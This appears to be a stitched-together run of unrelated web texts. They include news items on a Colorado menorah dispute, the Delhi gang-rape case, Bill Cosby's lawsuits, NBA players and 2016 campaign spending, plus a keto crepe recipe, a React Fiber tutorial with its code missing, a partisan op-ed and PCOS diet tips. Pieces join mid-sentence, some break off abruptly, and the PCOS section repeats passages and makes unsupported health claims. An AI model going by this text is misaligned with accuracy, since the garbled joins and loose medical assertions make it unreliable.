But when he asked to restore the menorah this year — the holiday runs Dec. 20-28 — the district invoked Denver’s rule that forbids religious decorations on public property.
“To just take commands from Denver... is just really disappointing,” Brackman said. “It doesn’t feel like community building to me.”
The district’s policies on holiday displays are at odds with Denver’s rules.
In 2006, the Evergreen board established a policy allowing only nondenominational displays in public spaces. However, the policy also states, “holiday lights and Menorah will be exempt from this policy.”
Park and recreation executive director Scott Robson said that there were no complaints about the menorah but that he was just trying to prevent future problems with Denver.
Evergreen is unincorporated, so it has no city council.
“It’s just not my management style to look the other way and ask for forgiveness later,” Robson said. “We’re nothing without strong partnerships with other local governments.”
Robson said that there is no codified protocol for when the district does or does not defer to Denver’s policies but that it always does defer when it comes to the “big-picture issues.”
“As far as we know, they don’t keep to every single one of Denver’s policies,” Brackman said. “They make some exceptions.”
The Denver Parks and Recreation department supported Robson’s decision.
“The reason that was displayed at all was that the manager who was there before didn’t consult with Denver,” said Denver Parks and Recreation spokeswoman Angela Casias.
Brackman said Evergreen Park & Recreation could have handled this differently.
“They could’ve approached Denver and tried to ask for some sort of understanding,” Brackman said. “Instead... it felt like ‘What’s the best language I can use to tell this rabbi to buzz off?’ “
Robson, who has been executive director since April, said he offered Brackman several compromises and is still waiting for a response.
Brackman and a committee of residents plan to petition the Evergreen Park & Recreation board at its meeting Tuesday night.
“It seems like a smoke screen and they just want to get rid of the menorah,” Brackman said, “and I don’t know why.”
Kristen Leigh Painter: 303-954-1638 or kpainter@denverpost.com
Parks & Rec board meets
What: Evergreen Park & Recreation District board meeting
Where: Wulf Recreation Center, Evergreen
When: 6-9 p.m. TuesdayFormer NBA guard Jalen Rose has been named the ambassador and spokesman for the National Basketball Retired Players Association.
Rose, who is currently an analyst for ESPN's NBA coverage, played 13 seasons in the NBA before retiring in 2007. He had career average of 14.3 points, 3.8 assists and 3.5 rebounds per game.
He told NBA.com's Steve Aschburner his goal is to create a better transition into retirement for players and continue to build the relationship between current and former players.
“It’s a family,” Rose told NBA.com last week in a phone interview. “I really don’t see a disconnect between the two. Now there’s always going to be the mentality that, the older you get, the longer the walk looks. “But for the most part, I think there’s a healthy respect in the current players for the retired players and what they’ve done. Hopefully we can create some awareness, some planning, a decision-making mechanism from top to bottom – whether it’s social, emotional or financial – so you’re prepared for that next step.”
Rose will be the first person to fill the newly created ambassador role for the NBRPA.
More: NBA to host first ever exhibition in South |
go.
As for what’s new in the update, Sprint says security fixes. We’re assuming these security issues are fairly major to justify Google updating so quickly after the 4.4.3 release last week. Get in on the fun on your own Nexus device by following the first source link below for factory images, and the second one for binaries.
Source: Google 1, 2, Sprint
Via: Droid LifeImage copyright AFP Image caption The parents of the victim say the rapist must remain in jail as he could be a threat to society
The youngest convict in a 2012 Delhi gang rape is scheduled to be freed but is facing continuing legal challenges.
A challenge by politician Subramanian Swamy to stop the release on Sunday has failed but another is to be heard by the Supreme Court on Monday.
The rapist, who cannot be named as he was a minor at the time of the crime, was sentenced to three years in a reform facility in August 2013.
The rape and the subsequent death of the woman caused global outrage.
Some activists and the parents of the victim also wanted the youngest rapist to stay in jail, saying "he can be a threat to the society".
But on Friday, a court said the convict could not be kept in the correctional home because he had served the maximum term possible under the law for a juvenile.
"We agree it is a serious issue. But after 20 December, the juvenile cannot be kept at a special home per law," the NDTV website quoted the judge as saying.
Case timeline
Image copyright AFP
16 December 2012: A 23-year-old physiotherapy student is gang-raped by six men on a bus in Delhi, her male friend is beaten up and the pair are thrown out after the brutal assault
17 December: Key accused Ram Singh, the bus driver, is arrested. Over the next few days, his brother Mukesh Singh, gym instructor Vinay Sharma, fruit seller Pawan Gupta, a helper on the bus Akshay Thakur, and the 17-year-old juvenile, who cannot be named, are arrested.
29 December: The victim dies in hospital in Singapore from injuries sustained during the assault; body flown back to Delhi
30 December: Cremated in Delhi under tight police security
11 March 2013: Ram Singh dies in Tihar jail; police say he hanged himself, but defence lawyers and his family allege he was murdered
31 August: The juvenile is found guilty and sentenced to three years in a reform facility
13 September: The four adult defendants are convicted and given the death penalty by the trial court
13 March 2014: The Delhi high court confirms the death sentence
March - June: The convicts appeal in the Supreme Court and the death sentences are put on hold until the court takes a decision
Late on Saturday, Swati Maliwal, the head of Delhi Commission of Women, filed a petition to the Supreme Court trying to prevent the release.
It will hear the case on Monday but it was unclear whether the release would go ahead anyway on Sunday.
With public outrage growing over his release and threats to his life, the released prisoner will be handed over to a charity for his protection and rehabilitation.
Some reports had claimed he had been the most brutal during the crime and there were calls to try him as an adult, with many saying his punishment should be commensurate with his crime.
But during his trial, it was never proved that the teenager was any more brutal than the others.CLOSE Beverly Johnson joined the list of sexual assault accusers Bill Cosby is suing for defamation. Wochit
Bill Cosby in November 2014. (Photo: Evan Vucci, AP)
Bill Cosby is suing another one of his accusers.
Last week, Cosby filed a defamation countersuit against seven women who have accused him of sexual assault decades ago. They are currently suing him for defamation in a Massachusetts court.
Today, Cosby filed another defamation lawsuit against model Beverly Johnson, also citing emotional distress.
The suit states that Cosby "never drugged defendant and her story is a lie," according to a statement from Cosby's lawyer, Monique Pressley. Cosby also accuses Johnson of trying to "resuscitate her own career and benefit herself financially from the wave of media attention surrounding her false allegations."
The former model has accused Cosby of drugging her in the 1980s, writing in her memoir she recalls becoming woozy after sipping a cappuccino Cosby prepared for her in his home. Suspecting she'd been drugged, Johnson says she let loose with a string of profanities. and a rattled Cosby dragged her down the stairs and shoved her into a taxi, which took her to her apartment.
Along with compensatory and punitive damages, Cosby is asking for a court to force Johnson publicly retract her claims, pull unsold copies of her memoir, The Face That Changed It All: A Memoir, from bookshelves, and remove mention of him from future printings.
In a statement to USA TODAY, Johnson called the lawsuit an intimidation tactic. "I am aware of the statements from Bill Cosby," she writes, in a statement from her publicist, Anne-Marie Nieves. "In cases of rape and abuse, abusers will do whatever they can to intimidate and weaken their victims to force them to stop fighting. I ask for your support of all of the victims involved."
The total number of women who have publicly claimed Cosby drugged and/or sexually assaulted them in decades past sits at nearly 50. Cosby has denied wrongdoing, and most of the accusations are too old to pursue in criminal court.
Cosby was deposed in October in the California civil case brought by Judy Huth, who claims Cosby forced her to perform a sex act on him in the 1970s. That deposition has not been made public and won't be until at least Dec. 22.
Lawyers for Cosby said Friday they will also fight an attempt to require his wife, Camille to give a sworn deposition on Jan. 6 in a the lawsuit filed by the seven women in Massachusetts.
Contributing: The Associated Press
Read or Share this story: http://usat.ly/1YwET3EA double whammy for y’all today! Extra cooking courtesy of my bottomless stomach. I’ve been wanting to make this particular dessert for a lonnnnng time, ever since I read Yumeiro Patissiere. They made a cake called a “mille-crepe cake” in the manga, and I knew I wanted to give it a try.
I found a lovely keto crepe recipe here and followed it. The only thing I’d like to add to it is to give a step-by-step instruction for the crepe – they’re finicky little things and break very easily, but hopefully my explanation will make it easier. :) I also whipped up some nice frosting for the cake too, but I’m excluding cocoa powder from this recipe because honestly, I didn’t like the chocolate in the cake. I’m strongly suspecting it’s the cocoa powder I’m using, because I haven’t made a single baked good that I enjoyed from that cocoa powder. Boooooo. But due to the nature of the crepe, I strongly suggest having a plain whipped cream icing. But hey, I’ll post some pictures of my cake… cause I made it. So why not?
The crepes themselves were very good! And the smell they gave off while cooking…. mmmmmm. This recipe should make about 6-8 crepes, depending on how liberal you are with your batter.
Ingredients
(makes 6-8 6″ crepes, 2 servings)
2 oz (1/4 block) cream cheese, softened
2 eggs
1 tsp ground cinnamon
1 tsp vanilla extract
1/2 tsp baking powder
oil/butter for greasing pan
Frosting:
1/4 cup heavy cream
1 packet stevia
1 tsp vanilla extract
Soften cream cheese in microwave. Mix all ingredients until well-combined – the batter should be fairly liquid.
Heat a small pan to about med/med-high (adjust as the crepes come along). Wait until pan is warm, then grease bottom of frying pan with a paper towel dipped in oil. Spoon about 2 tbsp batter in the pan and quickly rock the pan so the batter is evenly distributed. Watch the edges. When the edges begin to brown (about 1-2 minutes), gently loosen the edges by scraping inwards, then flip the crepe over and cook for another 30 seconds or so. Remove crepe from pan. Re-grease the pan with the paper towel for every crepe.
For the frosting, whip cream, vanilla and Stevia on highest setting (or use those forearm muscles) until stiff peaks hold. Frost thinly between each layer. I actually cut my crepe into quarters to have more layers from one batch! After frosting, chill in the fridge to let the crepes absorb the moisture from the frosting, preferably overnight. Serve when you’re ready!
I like to flip the crepes with a pair of chopsticks and my fingertips – no hard edges and easier to keep the crepes together. If you have a flat pan, it would definitely be easier to use a spatula, but my pan is unfortunately small and curved; however it’s perfect size for these crepes!
Nutrition
(1 serving is half the batter – approx. 3-4 crepes)
AdvertisementsApple Music appears to be experiencing some issues today, with some users reporting continual 503 errors for the last several hours. When attempting to play an Apple Music song via iTunes, an error message that says "The shared library 'Cloud Music Library' is not responding."More annoying than debilitating, the error can be dismissed and music will play after another attempt to connect. The error also seems to pop up occasionally when no music is being played. Errors are being reported by MacRumors readers, redditors, and people on Apple's Support Communities Apple's System Status page is not reporting an outage at this time and the 503 error does not appear to be affecting all users. It is not clear what is causing the issue or when it will be fixed by Apple.Since its June 30 debut, Apple Music has experienced a few outages, including an hour-long Beats 1 radio outage on launch day.Olympic Weightlifting Skill Levels Chart
Levels 3-5 have been adjusted to reflect more recent US competition performance and qualifying totals. This primarily affected levels 3-4, and most changes were minor.The IWF has released the new weight classes, none of which are repeats of any of the previous classes. Because these skill level figures were all based on 3-year averages of actual national and international competition numbers, obviously at this point figures for these new classes can’t be calculated the same way. Instead, I have extrapolated from the old classes and made some manual adjustments to account for certain anomalies. This preserves the natural variation among weight classes in terms of ability relative to bodyweight and is as accurate as such figures can be without any actual competition data to use.Update July 5 2018: The IWF has released the new weight classes. I will be updating this chart as soon as possible. In the mean time, you're going to have to do some estimation or calculation. Note that the below listed classes are for all IWF competitions. The Olympic weight classes will reduce to 7 per gender (omitting 55, 89, 102 for men and 45, 71 and 81 for women).Women:45-49-55-59-64-71-76-81-87-87+Men:55-61-67-73-81-89-96-102-109-109+New weight classes are being introduced in July of this year. Because these figures are based on actual competition data, I won't be able to update this chart until these classes have competed for at least a year (the original chart is based on 3 years of competition), so please be patient.The new 90kg class is not yet included because there is not enough competition data. Once there is, the chart will be updated. 90+ will remain the same as 75+.The chart has been updated with the most recent competition results, a new level has been added, and the calculations for some of the figures have been changed. Most importantly, relativity to bodyweight is more accurate, i.e. the abillity of lighter classes to lift more than the heavier classes relative to bodyweight is better reflected in the figures.I've finally gotten around to posting this a few years after I created it. For years people have been asking me if something like this existed and/or if I would make it. There is a Soviet classification system you can find in Weightlifting Programming: A Winning Coach's Guide and other places, but I've always thought it would be more appropriate to create a classification system based on actual American weightlifting performance and taking into account the particular circumstances of the sport in the US, including the fact that the vast majority of people interested in this kind of chart are starting the sport as adults.Along with snatch and clean & jerk figures, I've also included front squat, back squat and total. Keep in mind when looking at this chart that the relationships between the snatch, clean & jerk and squats are not identical for all athletes, and that being somewhat outside these numbers is not necessarily indicative of a problem. Use this chart as a way to help yourself set goals for your lifting more than as a diagnostic tool for lift relationships.Didact Fiber: Incremental reconciliation
Rodrigo Pombo Blocked Unblock Follow Following Oct 19, 2017
This story is part of a series where we write our own version of React, but since we are going to rewrite most of the old code anyway, I’ll tl;dr it for you:
TL;DR of the series so far: We are writing a React clone to understand what React does under the hood. We call it Didact. To keep our code simple we focus only on React main features. First we covered how to render elements and make JSX work. We wrote the reconciliation algorithm to re-render only the stuff that changed between updates. And then we added class components and setState().
Now React 16 is out, and with it a new internal architecture that required a rewrite of most of React’s code.
This means that some long-awaited features — that were hard to develop with the old architecture — were shipped.
It also means that most of the code we have written on this series is now worthless 😛.
In this post we are going to rewrite most of the code from the didact series to follow React 16 new architecture. We’ll try to mirror the structure, variables and function names from the React codebase. We’ll skip everything we don’t need for our public API:
Didact.createElement()
Didact.render() (only DOM rendering)
(only DOM rendering) Didact.Component (with setState() but not context or life cycle methods)
If you want to jump ahead and see the code working you can go to the updated demo or visit the github repository.
Let me explain why we need to rewrite the old code.
Why Fiber
This won’t offer the full picture of React Fiber. If you want to know more about it, please check this list of resources.
When the browser’s main thread is kept busy running something for a long time, critical brief tasks have to wait an unacceptable amount of time to get done.
To showcase this problem I made a little demo. In order to keep the planets spinning, the main thread needs to be available for an instant every 16ms or so. If the main thread is blocked doing other stuff for, let’s say 200 ms, you’ll notice the animation missing frames and the planets frozen until the main thread is free again.
What makes the main thread so busy that can’t spare some microseconds on keeping the animation smooth and the UI responsive?
Remember the reconciliation code? Once it starts reconciling it doesn’t stop. If the main thread needs to do anything else it will have to wait. And, because it depends a lot on recursive calls, it’s hard to make it pausable. That’s why we are going to rewrite it using a new data structure that will allow us to replace the recursive calls with loops.
The truth is that I wrote this article so more people could get the joke
Scheduling micro-tasks
We’ll need to split up the work into smaller pieces, run those pieces for a short period of time, let the main thread do higher priority stuff, and come back to finish the work if there’s anything pending.
We’ll do this with the help of requestIdleCallback() function. It queues a callback to be called the next time the browser is idle and includes a deadline parameter describing how much time available we have for our code:
The real work happens inside the performUnitOfWork function. We need to write our reconciliation code there. The function should run a piece of the work and then returns all the information it needs to resume the work the next time.
To track those pieces of work we will use fibers.
The fiber data structure
We will create a fiber for each component we want to render. The nextUnitOfWork will be a reference to the next fiber we want to work on. performUnitOfWork will work on that fiber and return a new one until all the work is finished. Bear with me, I’ll explain this in detail later.
How does a fiber look like?
It’s a plain old JavaScript object.
We’ll use the parent, child, and sibling properties to build a tree of fibers that describes the tree of components.
The stateNode will be the reference to the component instance. It could be either a DOM element or an instance of a user defined class component.
For example:
In the example we can see the three different kind of components we will support:
The fibers for b, p, and i represent host components. We will identify them with the tag HOST_COMPONENT. The type for these fibers will be a string (the tag of the html element). The props will be the attributes and event listeners of the element.
,, and represent. We will identify them with the. The for these fibers will be a string (the tag of the html element). The will be the attributes and event listeners of the element. The Foo fiber represents a class component. Its tag will be CLASS_COMPONENT and the type a reference to the user defined class extending Didact.Component.
fiber represents a. Its will be and the a reference to the user defined class extending. The fiber for div represents the host root. It’s similar to a host component because it has a DOM element as the stateNode but being the root of the tree it will receive special treatment. The tag for this fiber will be HOST_ROOT. Note that the stateNode of this fiber is the DOM node passed to Didact.render().
Another important property is alternate. We need it because most of the time we will have two fiber trees. One tree will correspond to the things we’ve already rendered to the DOM, we’ll call it the current tree or the old tree. The other is the tree we build when we work on a new update (a call to setState() or Didact.render() ), we’ll call this tree the work-in-progress tree.
The work-in-progress tree won’t share any fiber with the old tree. Once we finished building the work-in-progress tree and made the needed DOM mutations, the work-in-progress tree becomes the old tree.
So we use alternate to link the work-in-progress fibers with their corresponding fibers from the old tree. A fiber and its alternate share the same tag, type and stateNode. Sometimes — when we are rendering new stuff — fibers won’t have an alternate.
Finally, we have the effects list and effectTag. When we find a fiber in the work-in-progress tree that requires a change to the DOM we will set the effectTag to PLACEMENT, UPDATE or DELETION. To make it easier to commit all the DOM mutations together we keep a list of all the fibers (from the fiber sub-tree) that have an effectTag listed in effects.
That was probably too much information at once, don’t worry if you didn’t follow, we’ll see the fiber trees in action very soon.
Didact call hierarchy
To get an idea of the flow of the code we are going to write take a look at this diagram:
We’ll start from render() and setState() and follow the flow ending at commitAllWork().
Old code
I told you that we are going to rewrite most of the code, but let’s first review the code that we are not rewriting.
In Element creation and JSX we wrote the code for createElement(), the function used by transpiled JSX. We don’t need to change it, we’ll keep using the same elements. If you don’t know about elements, type, props and children, please review the old post.
In Instances, reconciliation and virtual DOM we wrote updateDomProperties() for updating the DOM properties of a node. I also extracted the code for creating DOM elements to createDomElement(). You can see both functions in this dom-utils.js gist.
In Components and state we wrote the Component base class. Let’s change it so setState() calls scheduleUpdate(), and createInstance() saves a reference to the fiber on the instance:
Starting with this code and nothing else let’s rewrite the rest from scratch.The 2016 campaign season has only just progressed beyond the starting gate. But in the Democratic primary race against Hillary Clinton, Vermont's Sen. Bernie Sanders has already pounded his biggest competitor's chances of winning the nomination into a fine dust.
Wall Street Journal and NBC News poll results released in late June showed Hillary Clinton is leading Sanders by a massive margin, with 75% of Democrats backing Clinton and just 15% for Sanders. But former Maryland Gov. Martin O'Malley, long considered to be the most viable challenger to Sanders' current second-place status, got just 2%.
The results were underscored by a rough week for O'Malley, in which Sanders drew a staggering 10,000 people to a rally in Madison, Wisconsin, and later drew 2,500 (more than any other candidate) to a speech in Iowa. This past week, Sanders also announced he had raised $15 million so far, about 50% higher than his originally projected total of $10 million.
As the Wall Street Journal reports, O'Malley is struggling to find supporters in a field where many voters do not know his name. A Quinnipiac University poll of likely Iowa caucus participants released on July 2 showed Sanders had shrunk his distance behind Clinton to just 19 points, now trailing her 52% to 33%. Over the course of three polls dating back to Feb. 26, O'Malley placed no higher than 3%.
Having failed to convince Clinton supporters of any reason to peel off from her candidacy other than a challenge to political "dynasties," and perhaps never registering with the Sanders crowd in the first place, O'Malley's campaign appears to have misfired from the start.
While early polls are a poor predictor of election results, University of New Hampshire political science professor Dante Scala told Boston.com, "Right now, O'Malley does not even pass the 'who's that?' test."
That might explain why, while the O'Malley camp has turned to launching attack ads on Sanders, Sanders is shrugging off the criticism. As Vox's Andrew Prokop points out, these tactics aren't likely to reverse the fundamental challenge facing O'Malley: Liberals are simply more excited about Sanders.
If O'Malley had peeled off votes from Clinton, that could have helped hobble her lead and close the path for Sanders to increase his showing. But as it stands, O'Malley appears to hardly be peeling votes off of anyone, let alone Sanders. For the socialist from Vermont, O'Malley is a sideshow.Milwaukee Bucks General Manager John Hammond announced that guard Khris Middleton underwent successful surgery yesterday to repair his ruptured left hamstring. The surgery was performed at the Hospital for Special Surgery in New York by Dr. David Altchek. Middleton is expected to be sidelined for approximately six months. A timeline for his return to basketball activity will be established at a later date. Middleton suffered the injury during preseason workouts on Sept. 20.
Middleton’s rehabilitation will be conducted in Milwaukee under the direction of the Bucks medical and performance team with guidance from team orthopaedic physician Dr. William Raasch and the Froedtert & the Medical College of Wisconsin medical staff.
Middleton, 25, averaged a career-high 18.2 points, 4.2 assists and 1.7 steals last season along with 3.8 rebounds in 79 games. Originally selected by Detroit (39thoverall) in the 2012 NBA Draft, Middleton has career averages of 13.2 points, 2.7 assists, 3.8 rebounds and 1.3 steals in 267 career games (201 starts).Republican candidate Donald Trump speaks Tuesday in Sarasota, Fla. (Photo: Katie Klann, Naples Daily News-USA TODAY Spor)
WASHINGTON — Call it the Trump Effect.
Every four years, spending in presidential races soars to new heights. Until now.
A new estimate from the non-partisan Center for Responsive Politics predicts the final price tag of the 2016 White House campaign will hit about $2.65 billion, a dip from the $2.76 billion that flowed into the 2012 contest, when adjusted for inflation.
Broadcast TV advertising to shape the 2016 White House contest has tumbled from four years ago, a byproduct of Republican nominee Donald Trump’s decision to rely more on free media coverage, digital outreach and his own prolific tweeting than traditional advertising to promote his candidacy.
Between June 8 and Oct. 30, for instance, Trump had aired more than 68,000 ads to boost his White House ambitions, a striking drop from the roughly 182,000 ads that 2012 Republican presidential Mitt Romney aired on broadcast TV, national networks and national cable during the same period in that election, an analysis by the Wesleyan Media Project shows.
“It’s just apples and oranges to compare Trump to any other major-party nominee,” said Shelia Krumholz, who runs the Center for Responsive Politics, which tracks campaign spending. “It’s hard to imagine anyone else who could take this playbook and make it work.”
Trump’s approach already has taken a toll. Sinclair Broadcast Group, which controls 173 TV stations and has a big footprint in the battleground state of Ohio, earlier this year lowered revenue forecasts for the third quarter. Officials cited the presidential election’s “unique nature” as one reason for the move.
It wasn’t supposed to be this way. The 2016 election could have been a banner year for political advertising, with a wide-open White House race in which neither a sitting president nor vice president was running for the job. The lower presidential spending “has depressed revenues and, therefore, depressed profits in what’s normally one of the better years in a four-year cycle for local TV companies, especially,” said Jan Dawson, who analyzes consumer technology and media at Jackdaw Research.
Instead of surging to new highs, overall political spending on broadcast TV is likely to be flat, said Steve Lanzano, president and CEO of The Television Bureau of Advertising, the trade group for local TV broadcasters.
"It's not like the dollars went away," he said. Instead, money flowed into ballot initiatives and down-ticket races for the House and Senate, where Republicans are scrambling to retain their majorities.
"It's a year that's an anomaly," Lanzano said, insisting "it's not a referendum" on television advertising or its effectiveness.
Democrat Hillary Clinton and groups aligned with her also have run fewer general-election ads than President Obama and his allies did in 2012, according to Wesleyan Media Project’s tally. But Team Clinton held a staggering 3-to-1 advantage in general-election advertising over the Trump camp through the end of last month, the researchers found.
Clinton's campaign also shifted more spending to a particular segment of television advertising: local cable. Those buys allow candidates to target small pockets of cable viewers, say, people watching the Golf Channel in the Philadelphia area.
Clinton aired 54% more ads on local cable than Obama’s campaign ran during the same period four years ago, according to the Wesleyan analysis.
Trump, meanwhile, has all but ignored local cable as a tool, said Michael Franz, a political scientist at Bowdoin College in Maine and a co-director of Wesleyan Media Project.
The New York real-estate mogul has taken some risks by relying so heavily on free media attention and digital advertising, Franz said of Trump. “You have a billionaire running for president of the United States. Why isn’t the billionaire spending more money running for president?”
“If he wins, he’s a genius,” Franz said. “But if he loses, particularly by a little, he probably left some points on the table by not diversifying his media strategy.”
Read or Share this story: http://usat.ly/2faKEIpThe Democrats, once the party of working people, are now a party dominated by environmentalists and multiculturalists. And I can prove it.
As we shall see, when Democrats must choose between their old loyalty, providing jobs for workers, and their new loyalty, favoring politically-correct constituency groups—they choose the PC groups.
Indeed, the old assumptions about the Democrats as the party of labor are nowadays so tangled and conflicted that the unions themselves are divided. Some unions are sticking with their blue-collar heritage, but more are aligning themselves with the new forces of political correctness—and oh, by the way, big money.
The proposed Dakota Access Pipeline, running through four states—from western North Dakota to southern Illinois—would create an estimated 4,500 unionized jobs. That is to say, good jobs at good wages: The median entry-level salary for a pipeline worker in North Dakota is $38,924.
Yet the advancement of what was once called the “labor movement” is no longer a Democratic priority. The new priorities are heeding the goals of “progressive” groups—in this instance, Native Americans and the greens. Indeed, this new progressive movement is so strong that even many unions are climbing aboard the bandwagon, even if that means breaking labor’s united front.
To illustrate this recent rupture, here’s a headline from the The Huffington Post: “Dakota Access Pipeline Exposes Rift In Organized Labor.” Let’s let Huffpo labor reporter Dave Jamieson set the scene:
The nation’s largest federation of labor unions upset some of its own members last week by endorsing the construction of the Dakota Access pipeline in North Dakota. Some labor activists, sympathetic to Native American tribes and environmentalists, called upon the AFL-CIO to retract its support for the controversial project.
In response to the criticism, Sean McGarvey, head of the AFL-CIO’s building-trades unions, fired right back; speaking of pipeline opponents, McGarvey declared that they have…
…once again seen fit to demean and call for the termination of thousands of union construction jobs in the Heartland. I fear that this has once again hastened a very real split within the labor movement.
Yes, it’s become quite a fracas within the House of Labor: so much for the old slogan, “Solidarity Forever!” We can note that typically, it’s the old-style construction unions—joined, perhaps, by other industrial workers, if not the union leadership—who support construction projects, while the new-style public-employee unions side with the anti-construction activists.
In the meantime, for its part, the Democratic Party has made a choice: It now firmly sides with the new progressives. To cite just one ‘frinstance, we can examine the July 2016 Democratic national platform, released at the Philadelphia convention. That document includes a full 16 paragraphs on “climate change,” as well as 14 paragraphs on the rights and needs of “indigenous tribal nations.” Here’s one of those paragraphs; as we can readily see, Democrats are striving mightily to synthesize the demands of both groups, green and red:
We are committed to principles of environmental justice in Indian Country and we recognize that nature in all its life forms has the right to exist, persist, maintain, and regenerate its vital cycles. We call for a climate change policy that protects tribal resources, protects tribal health, and provides accountability through accessible, culturally appropriate participation and strong enforcement. Our climate change policy will cut carbon emission, address poverty, invest in disadvantaged communities, and improve both air quality and public health. We support the tribal nations efforts to develop wind, solar, and other clean energy jobs.
By contrast, the Democratic platform included a mere two skimpy paragraphs on workers and wages.
Some Democrats are troubled by this shift in priorities, away from New Deal-ish lunch-bucket concerns—because, as a matter of fact, it’s a shift away from the very idea of economic growth. For example, William Galston, a top White House domestic-policy aide to Bill Clinton in the 90s, had this to say about the Democrats’ latest platform:
The draft is truly remarkable—for example, its near-silence on economic growth.... Rather, the platform draft’s core narrative is inequality, the injustice that inequality entails, and the need to rectify it through redistribution.
A few days later, another Democrat, urban geographer Joel Kotkin, went even further:
Increasingly, liberals, or progressives, are at best ambivalent about economic growth, particularly in such blue-collar fields as fossil fuel energy, manufacturing, agribusiness and suburban homebuilding.
Perhaps it seems strange that a political party would lose interest in such an obvious political staple as economic growth. And yet if we look more closely, we can see, from the perspective of the new Democrats, that this economic neglect makes a kind of sense: We can note, for example, that the financial heart of the green movement is made up of billionaires; they have all the money they need—and, thanks to their donations, they have a disproportionate voice.
One of these noisy green fat cats is San Francisco’s Tom Steyer, who contributed $50 million to Democratic campaigns in 2014 and has been spending heavily ever since. We can further point out: If Steyer chooses to assign a higher value to his eco-conscience than to jobs for ordinary Americans, well, who in his rarified Bay Area social stratum is likely to argue with him?
Admittedly, billionaires are few in number—even in the Democratic Party. Yet at the same time, many other groups of Democratic voters aren’t necessarily concerned about the vagaries of the economy, because they, too, in their own way, are insulated from its ups and downs. That is, they get their check, no matter what.
The most obvious of these groups, of course, are government employees. Some of them, especially in the military and in law enforcement, might well be Republicans. Yet on the whole, public-sector workers have an obvious class-interest in voting Democratic, and they know it—lots of Lois Lerners in this group.
Then there are the recipients of government benefits. And here we can immediately stipulate that there’s a critical, perhaps even binary, distinction to be drawn—between those who have earned their benefits through work, and those who have not.
In the “earned” category are the beneficiaries of Security Security and other forms of work-related pensions, such as veterans benefits. For these folks, having spent decades in the workforce, the values of delayed gratification and thrift are likely ingrained in them, and this shapes their outlook in later life—whichever party they might identify with.
Meanwhile, in the “unearned” category are those who, for lack of a better word, get their money for free—their benefits, however desperately they might be needed, are unearned. And all available evidence tells us that this latter group has a much different mindset, and thus a much different political outlook. So as not to be coy about this point, we can just say it: welfare recipients, for example, are overwhelmingly Democratic. And Democratic politicians, of course, know this electoral calculus full well.
Indeed, in this era of slow economic growth, nearly 95 million Americans over the age of 16 are not in the labor force; not all of them are receiving a check from the government, but most are. And that has political consequences.
We can take this reality—economic stagnation on the one hand, economic dependence on the other—a step further: If the Democrats can find the votes they need from the plutocrats and the poor—or near-poor, plus public employees—then they can make a strategic choice: They can ignore the interests of working-class people in the private sector, and they can still win.
So for this cynical reason, the Democrats’ decision to stiff the working stiffs who might have worked on the Dakota pipeline was an easy one.
We can sum up the Democrats’ strategy more concisely: In socioeconomic terms, they will go above the working class, and also below the working class. That is, they will be the party of George Soros and Al Sharpton. So no room, anywhere, for the blue collars. (Of course, if any of those would-be pipeline workers end up on public assistance, well, they’ll have a standing offer to join the Democratic fold.)
We can see this Soros-Sharpton coalition in America’s electoral geography: The Democrats expect to sweep the upper east side of Manhattan, and, at the same time, they expect to sweep the south side of Chicago. Moreover, this high-low pattern appears everywhere: Greenwich and the ghetto, Beverly Hills and the barrio.
In addition, Democrats can expect to do well in upper-middle class suburban enclaves, as well as college towns. And so if we add all those blocs together, plus the aforementioned public-employee unions, we can see that the Democrats have their coalition—quite possibly, it’s a 2016 victory coalition.
So now can see the logic of the logic of the Democrats’ policy choices. And we can even add an interesting bit of backstory to the Democrats’ 2016 platform. In June, as a concession to the insurgency of Sen. Bernie Sanders, Hillary Clinton’s campaign agreed to include a contingent of Sanders supporters on the 15-member platform-drafting committee.
Specifically, the Clinton camp accepted the Palestinian-American activist James Zogby, the Muslim Congressman Keith Ellison of Minnesota, the environmental activist Bill McKibben, the African-American activist Cornel West, and the Native American activist Deborah Parker. And yet as the The Washington Post reported, the Clintonites, working through the Democratic National Committee, rejected another of Sanders’ proffered appointees, namely, Roseann DeMoro, executive director of National Nurses United. As the Post explained,
The DNC informed the campaign it did not want an additional labor representative on the platform-writing committee, since one already sat on the full platform committee.
In other words, the unions got a grand total of one name on that 15-member body. Meanwhile, Democratic elected officials, plus various minorities, donors, and activists occupied the other 14 slots. So we can see: Big Labor isn’t so big anymore; it is now reduced to token status within the party.
Given this new correlation of forces, it’s no surprise that top Democrats oppose the Dakota pipeline. Just on Monday, Barack Obama—having blocked the Keystone Pipeline last year— indicated that he opposes, as well, the Dakota pipeline. Supportively donned in traditional Indian attire, the President praised the |
of complex carbohydrate which burns very slowly though out the day and does not increases the fat content in the body. Eating quinoa in controlled amounts help in maintaining the body weight; it is also called as super grain and can be included as flour
Limit the intake of simple sugars/ carbs that are known to deteriorate insulin balance. Prefer complex carbohydrates but make sure to maintain a gluten free diet. Replace sugar with sugar free sweeteners such as stevia. For example try It is a form of complex carbohydrate which burns very slowly though out the day and does not increases the fat content in the body. Eating quinoa in controlled amounts help in maintaining the body weight; it is also called as super grain and can be included as flour Dairy intake: the three best dairy products which must be added in diet for treating polycystic ovary include clarified butter, raw butter and colostrum. Limit the intake of milk products as well as wheat as they aggravate the symptoms and condition of PCO.
Foods to avoid on a PCOS Diet
Sugary foods: Sugary drinks elevate the blood glucose concentration and promotes fat deposition that can further make insulin resistance worse. Females who are living with PCOS should avoid cakes, cookies, syrups, sodas and other forms of simple carbs.
Sugary drinks elevate the blood glucose concentration and promotes fat deposition that can further make insulin resistance worse. Females who are living with PCOS should avoid cakes, cookies, syrups, sodas and other forms of simple carbs. Foods made from white flour : white flour is composed of simple carbohydrates which must be avoided by the PCOS females. Research indicates that white flour promotes fat storage in the body. Foods such as cereals, cookies, cupcakes and muffins must be avoided.
: white flour is composed of simple carbohydrates which must be avoided by the PCOS females. Research indicates that white flour promotes fat storage in the body. Foods such as cereals, cookies, cupcakes and muffins must be avoided. Sodium containing foods: Limit intake of sodium rich foods such as canned vegetables, smoked meat, canned soups and salted nuts. Instead of using these food products replace them with fresh herbs, citrus fruits, vinegar and dishes seasoned with coarsely crushed black pepper.
Limit intake of sodium rich foods such as canned vegetables, smoked meat, canned soups and salted nuts. Instead of using these food products replace them with fresh herbs, citrus fruits, vinegar and dishes seasoned with coarsely crushed black pepper. Avoid fatty foods: Patients suffering from PCO avoid the intake of saturated fat foods. Instead try lean meat, white meat and fat free dressings. Use steam food and meat instead of fried fatty food.
